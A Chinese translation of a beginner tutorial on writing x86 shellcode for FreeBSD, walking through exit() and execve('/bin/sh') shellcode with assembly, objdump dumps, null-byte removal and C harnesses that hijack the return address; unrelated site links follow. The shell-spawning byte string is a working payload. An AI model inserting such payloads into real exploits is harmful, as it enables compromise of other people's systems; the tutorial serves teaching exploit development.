FreeBSD上编写x86 Shellcode初学者指南
FreeBSD上编写x86 Shellcode初学者指南
来源 https://www.4hou.com/binary/14375.html
介绍
本教程的目的是帮助你熟悉如何在FreeBSD操作系统上编写shellcode。虽然我会尽力在这里叙述所有有关的内容,但并不打算把本文写成汇编代码编程的入门读物。在反汇编中,你会注意到汇编代码采用AT&T语法,而我更喜欢使用Intel语法(无论是哪一种,nasm的工作原理是一样的)。如果你担心这些差异会带来困扰,请使用谷歌搜索并了解这些差异。请注意我只是一个编写shellcod的初学者,本文并不意味着是编写shellcode的全部内容;相反,本文对于全新的shellcoders来说是一个简单的介绍。换句话说,如果你以及编写过shellcode,本文的内容可能不会让你感兴趣。
其中的代码改编自The Shellcoders Handbook中的linux代码示例。
我引用的资源:
· Unix系统编程http://vip.cs.utsa.edu/usp/
· Shellcod编写参考手册http://www.wiley.com/WileyCDA/WileyAncillary/productCd-0764544683,typeCd-NOTE.html
· G. Adam Stanislav的FreeBSD汇编语言程序设计http://www.int80h.org/bsdasm/
所需工具:
· objdump
· NASM(Netwide Assembler)
· GCC
· GDB
在正式开始之前,让我们节省一些时间来获取/usr/src/sys/kern/syscalls.master的副本,这是系统调用及其相关编号的列表。将副本保存在编码目录中可以节省后续的时间,你需要在以root身份登录时打开文件并进行更改,否则可能会发生错误。让我们谨慎一点,复制一份副本。
既然我们已经完成了这一步,接下来我们继续深入,随着内容的深入,我会逐步解释更多的事情。我们要做的第一个shellcode是非常简单的,它用于exit()函数调用。我们首先在C代码中创建exit(),然后我们分析反汇编,以便我们可以将其重写为asm。先编译这个文件:
- gcc -o myexit myexit.c
- /* As easy as it gets */
- #include
- main()
- {
- exit(0); // exit with "0" for successful exit
- }
现在我们已经编译了代码,我们希望使用gdb来查看函数内部。之后我们能够看到计算机自动生成了我们的代码对应的汇编代码。只需按照说明的步骤操作,就能得到下面的结果:
- bash$ gdb myexit
- (gdb) disas main
- Dump of assembler code for function main:
- 0x80481d8
- : push %ebp
- 0x80481d9 : mov %esp,%ebp
- 0x80481db : sub $0x8,%esp
- 0x80481de : add $0xfffffff4,%esp
- 0x80481e1 : push $0x0
- 0x80481e3 : call 0x80498dc
- 0x80481e8 : add $0x10,%esp
- 0x80481eb : nop
- 0x80481ec : leave
- 0x80481ed : ret
- End of assembler dump.
让我们一行一行的来分析一下。不要担心任何事情,也不要担心内存地址,因为我的地址很可能和你的不一样。现在继续看看汇编代码,这是本文内容的第一个重要部分。传递给exit()函数的参数只有一个。接下来是退出了实际的调用。这是我们需要搞清楚的两件主要的事情。在我们进入代码之前,让我们检查syscalls.master来获取sysexit()的值,grep这个文件后,我们找到了这行:1 STD NOHIDE {void sys exit(int rval);exit sysexitargs void 。重要的信息是1,它是系统调用号的值和rval(返回值)参数。这表明sys_exit()接受一个参数,我们应该知道返回值是’0’代表这是一个成功的退出。
好的,将它放入汇编代码中。
- section .text
- global _start
- _start:
- xor eax, eax
- push eax
- push eax
- mov eax, 1
- int 80h
通过上面的代码,在我们进一步深入解释为什么代码会以这种方式有序的完成调用执行前,我会做个简短的说明。在FreeBSD(或NetBSD,OpenBSD)中,系统调用的参数是以相反的顺序被压入堆栈的,实际的系统调用号放入eax寄存器然后中断80 会调用内核来执行我们的代码。
现在继续, 'xor eax,eax’代码,如果eax有任何值的话,就会将eax清零。然后我们'push eax’两次。(我不知道是什么技术原因导致的,但如果零被push堆栈一次,退出调用将返回1,我们不希望这样的返回值,只需将零push两次就行。)现在我们加载eax 调用exit的系统调用值为1.最后我们要做的是用'int 80h’来实际调用内核。
不错!现在我们已经编写了了一些东西了,我们可以从中获得shellcode!我们需要组装然后链接这个文件。
- bash$ nasm -f elf myexit.asm
- bash$ ld -s -o myexit myexit.o
现在它已经组装和链接好了,让我们使用objdump来获取shellcode。
- bash$ objdump -d myexit
- shortexit: file format elf32-i386
- /usr/libexec/elf/objdump: shortexit: no symbols
- Disassembly of section .text:
- 08048080 <.text>:
- 8048080: 31 c0 xor %eax,%eax
- 8048082: 50 push %eax
- 8048083: 50 push %eax
- 8048084: b8 01 00 00 00 mov $0x1,%eax
- 8048089: cd 80 int $0x80
这段代码对某些人来说可能已经很好了,但它对我们来说很糟糕。看看代码中的那些NULL(00),我们不能直接使用这段代码,因为当我们尝试在我们之前编写的C程序中执行代码时就会发生中断。在C语言和其他编程语言中,NULL会终止一个字符串。这意味着如果我们尝试将其加载到C语言数组中,程序就会崩溃。所以我们不能那样做。也许有其他的方法可以处理这段asm代码,我想出的办法如下:
- Section .text
- global _start
- _start:
- xor eax, eax
- push eax
- push eax
- inc eax
- int 80h
这里唯一不同的是'inc eax’,让eax 增加1(记住eax是从零开始的,我们需要返回1(退出系统调用的返回值)),所以在这种情况下它与’mov eax,1'是等价的。
再次,如上一个示例所示组装并链接它,然后使用objdump。
- bash$ objdump -d myexit
- /usr/libexec/elf/objdump: exit_shellcode: no symbols
- Disassembly of section .text:
- 08048080 <.text>:
- 8048080: 31 c0 xor %eax,%eax
- 8048082: 50 push %eax
- 8048083: 50 push %eax
- 8048084: 40 inc %eax
- 8048085: cd 80 int $0x80
现在看一下!没有NULL了,这段代码就是很好的shellcode,我们保存一下!那么现在我们有了正确的,没有NULL值的shellcode,现在是时候将它加载到C程序中来执行了。
- #include
- #include
- /*working shellcode */
- char shellcode[] = "\x31\xc0\x50\x50\x40\xcd\x80";
- int main()
- {
- int *ret;
- ret = (int *)&ret + 2;
- (*ret) = (int)shellcode;
- }
就是这样,这段代码看起来真的很漂亮哦!现在进行编译:
- bash$ gcc -o shellcode shellcode.c
- bash$ ./shellcode ; echo $?
- 0
由于程序退出时我们确实看不到内部的细节,所以我们使用 ‘echo $?'来输出结果。'$?' 是一个bash内置的变量,它保存程序的最后一个退出代码。由于我们在代码中给出了退出的返回值就是’0’,因此,我们的代码起作用了!干得不错,你的耐心和工作终于得到了回报。不过这只是一个开始,你可能不会使用这个代码。
好吧,你可能已经猜到了,退出的shellcode不是很有趣或有用,但它是一个很好的例子,能够很容易的体现编写shellcode的关键点。现在是时候开始介绍一个更常用到的函数的shellcode了,这个函数就是利用execve()来生成一个shell。但是我们还能用execve()做些什么呢?在我们继续开始编写之前,我们应该再次查询一下syscalls.master,以便我们可以确切知道execve()期望传入的参数。因为execve不在文件的最开头,所以我是这样找到函数定义原型的。
- bash$ grep -i 'execve' syscalls.master
- 59 STD POSIX { int execve(char *fname, char **argv, char **envv); }
- #include
- int main()
- {
- char *name[2];
- name[0] = "/bin/sh";
- name[1] = 0x0;
- execve(name[0], name, 0x0);
- }
现在编译,如下面所示,然后启动gdb:
- bash$ gdb shell
- (gdb) disas main
- Dump of assembler code for function main:
- 0x80484a0
- : push %ebp
- 0x80484a1 : mov %esp,%ebp
- 0x80484a3 : sub $0x18,%esp
- 0x80484a6 : movl $0x8048503,0xfffffff8(%ebp)
- 0x80484ad : movl $0x0,0xfffffffc(%ebp)
- 0x80484b4 : add $0xfffffffc,%esp
- 0x80484b7 : push $0x0
- 0x80484b9 : lea 0xfffffff8(%ebp),%eax
- 0x80484bc : push %eax
- 0x80484bd : mov 0xfffffff8(%ebp),%eax
- 0x80484c0 : push %eax
- 0x80484c1 : call 0x8048350
- 0x80484c6 : add $0x10,%esp
- 0x80484c9 : leave
- 0x80484ca : ret
- 0x80484cb : nop
- End of assembler dump.
哇,代码有点多!
由于这个代码更长一些,所以我将跳过代码本身,因为当你看到代码然后再解释应该会更清楚。这也是我将代码解释放在代码的注释中的原因。
- ;不用担心为什么这里会出现这些代码,因为这些是必需的,只能放在这里
- section .text
- global _start
- _start:
- ;这行代码是为了可以在堆上获取到 db ‘/bin/sh' 的地址
- jmp short _callshell
- _shellcode:
- ;这行代码可以将 db ‘/bin/sh' 的地址弹到esi寄存器中
- pop esi
- ;确认eax寄存器中没有值
- xor eax, eax
- ;现在eax的值是NULL,我们可以将一根字节放在'/bin/sh'字符串来作为终止字符
- mov byte [esi + 7], al
- ;在FreeBSD汇编中,我们将所有的参数以相反的顺序放在堆上。将空值的 eax 寄存器push两次因为我们不能使用带参数的execve()。但是这是execve()所需要的
- push eax
- push eax
- ;execve()需要的最后一个参数(注意这实际上是第一个参数,因为这里的传入顺序是相反的)
- push esi
- ;这里是实际调用execve()的系统调用值,我们将它移动到al中。如果我们将这个值传入eax寄存器,那么我们的shellcode会返回一个NULL值,这个做法不是很好。
- mov al, 0x3b
- ;不要问我这里为什么是这样的。因为shellcode需要。
- push eax
- ;内核调用和执行之前我们所做的准备工作。注意这里是一个80h中断
- int 0x80
- _callshell:
- ;这行代码返回到了我们的代码的main函数入口。
- call _shellcode
- ;我们实际上想要执行的命令字符串将会传入execve()函数
- db '/bin/sh'
现在我们组装该文件:
- bash$ nasm -f elf mynewshell.asm
- bash$ ld -o mynewshell mynewshell.o
然后我们启动objdump:
- bash$ objdump -d mynewshell
- mynewshell: file format elf32-i386
- Disassembly of section .text:
- 08048080 <_start>:
- 8048080: eb 0e jmp 8048090 <_callshell>
- 08048082 <_shellcode>:
- 8048082: 5e pop %esi
- 8048083: 31 c0 xor %eax,%eax
- 8048085: 88 46 07 mov %al,0x7(%esi)
- 8048088: 50 push %eax
- 8048089: 50 push %eax
- 804808a: 56 push %esi
- 804808b: b0 3b mov $0x3b,%al
- 804808d: 50 push %eax
- 804808e: cd 80 int $0x80
- 08048090 <_callshell>:
- 8048090: e8 ed ff ff ff call 8048082 <_shellcode>
- 8048095: 2f das
- 8048096: 62 69 6e bound %ebp,0x6e(%ecx)
- 8048099: 2f das
- 804809a: 73 68 jae 8048104 <_callshell+0x74>
看看所有那些很“美丽”的shellcode。现在是时候将它格式化为一个有用的格式并放入C程序代码,以便我们可以执行shellcode。
- #include
- #include
- /*working shellcode */
- char shellcode[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b"
- "\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
- int main()
- {
- int *ret;
- ret = (int *)&ret + 2;
- (*ret) = (int)shellcode;
- }
编译并执行:
- bash$ gcc -o shell shell.c
- bash$ ./shell
- $
shellcode有效!我们制作了一个生成shell的shellcode。这需要一段时间才能实现,虽然这肯定不是你可以用shellcode的做很多事情的结束,至少它让你有信心阅读其他更全面的教程,并开始编写自己的shellcode。
本文翻译自:https://cryogenix.net/shellcoding_on_freebsd.html
================ End
FreeBSD上编写x86 Shellcode初学者指南的更多相关文章
- 【系列】Java多线程初学者指南(1):线程简介
原文地址:http://www.blogjava.net/nokiaguy/archive/2009/nokiaguy/archive/2009/03/archive/2009/03/19/26075 ...
- 龙芯GO!龙芯平台上构建Go语言环境指南
龙芯软件生态系列——龙芯GO!龙芯平台上构建Go语言环境指南2016-07-05 龙芯中科1初识Go语言Go语言是Google公司于2009年正式推出的一款开源的编程语言,是由Robert Gries ...
- 《Python编程初学者指南》高清PDF版|百度网盘免费下载|Python基础
<Python编程初学者指南>|百度网盘免费下载| 提取码:03b1 内容简介 Python是一种解释型.面向对象.动态数据类型的高级程序设计语言.Python可以用于很多的领域,从科学计 ...
- Python编程初学者指南PDF高清电子书免费下载|百度云盘
百度云盘:Python编程初学者指南PDF高清电子书免费下载 提取码:bftd 内容简介 Python是一种解释型.面向对象.动态数据类型的高级程序设计语言.Python可以用于很多的领域,从科学计算 ...
- 三、后门的编写和 ShellCode 的提取
第三章.后门的编写和 ShellCode 的提取 (一)IP 和 Socket 编程初步 NOTES: 1.Windows 下网络通信编程的几种方式 第一种是基于 NetBIOS 的网络编程,这种方法 ...
- 【翻译】nginx初学者指南
nginx初学者指南 本文翻译自nginx官方网站:http://nginx.org/en/docs/beginners_guide.html#control 该指南会对nginx做一个简要的介绍,同 ...
- 《SQL初学者指南》——第1章 关系型数据库和SQL
第1章 关系型数据库和SQL SQL初学者指南在本章中,我们将介绍一些背景知识,以便于你能够很快地上手,能在后续的章节中编写SQL语句.本章有两个主题.首先是对本书所涉及到的数据库做一个概述,并且介绍 ...
- Python编程初学者指南|百度网盘免费下载|Python新手入门资料
Python编程初学者指南|百度网盘免费下载 提取码:9ozx 目录 · · · · · · 第1章 启程:Game Over程序1.1 剖析Game Over程序1.2 Python简介1.2.1 ...
- NumPy 初学者指南中文第三版·翻译完成
原文:NumPy: Beginner's Guide - Third Edition 协议:CC BY-NC-SA 4.0 欢迎任何人参与和完善:一个人可以走的很快,但是一群人却可以走的更远. 在线阅 ...
随机推荐
- HBuilderX中自动转换px为upx
uni-app 使用 upx 作为默认尺寸单位, upx 是相对于基准宽度的单位,可以根据屏幕宽度进行自适应.uni-app 规定屏幕基准宽度750upx.但如果设计稿不是750px,那换算单位可头疼 ...
- 自定义css样式结合js控制audio做音乐播放器
最近工作需求需要播放预览一些音乐资源,所以自己写了个控制audio的音乐播放器. 实现的原理主要是通过js调整audio的对象属性及对象方法来进行控制: 1.通过play().pause()来控制音乐 ...
- javascript的变量声明和数据类型
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- Dialog 对话框
在保留当前页面状态的情况下,告知用户并承载相关操作. 基本用法 Dialog 弹出一个对话框,适合需要定制性更大的场景. 需要设置visible属性,它接收Boolean,当为true时显示 Dial ...
- 详解nohup和& 区别
nohup 一.[解释] 不挂断地运行命令.no hangup的缩写,意即“不挂断”.一般理解&记住一个命令最简单的方法是记住它是什么缩写,就自然理解了这个命令.nohup运行由 Comman ...
- 给DBGrid动态赋值后,如何用程序指定某行某列为当前焦点?(100分)
哈哈,我弄出来了.在大富翁上搜索的.Form1.DBGrid1.SelectedIndex := 4;Form1.DBGrid1.SetFocus;这样就行了.谢谢你! --------------- ...
- vscode 配置 GOPATH
我已经放弃goland开发工具了,所以用万能的vscode 作为我学习go的开始: 按照网上的教程一步步配置了GOROOT,GOPATH等等,执行go env 也是没有问题的,但是当我用vscode写 ...
- 03 vue项目结构
上一篇已介绍根据vue-cli创建项目,本篇介绍根据vue-cli官方脚手架创建的项目的项目结构. 一.图看结构 build [webpack配置] webpack相关配置,都已经配 ...
- 5分钟快速安装Redmine项目管理软件
公司还在使用Excel.project.word来管理项目吗?时间一长.项目参与的人多.就出现了断断续续无法连续跟踪的问题.终于忍受不了公司这种陈旧的项目管理手段了,于是花了一些时间研究了市面上常见的 ...
- seq2seq&attention图解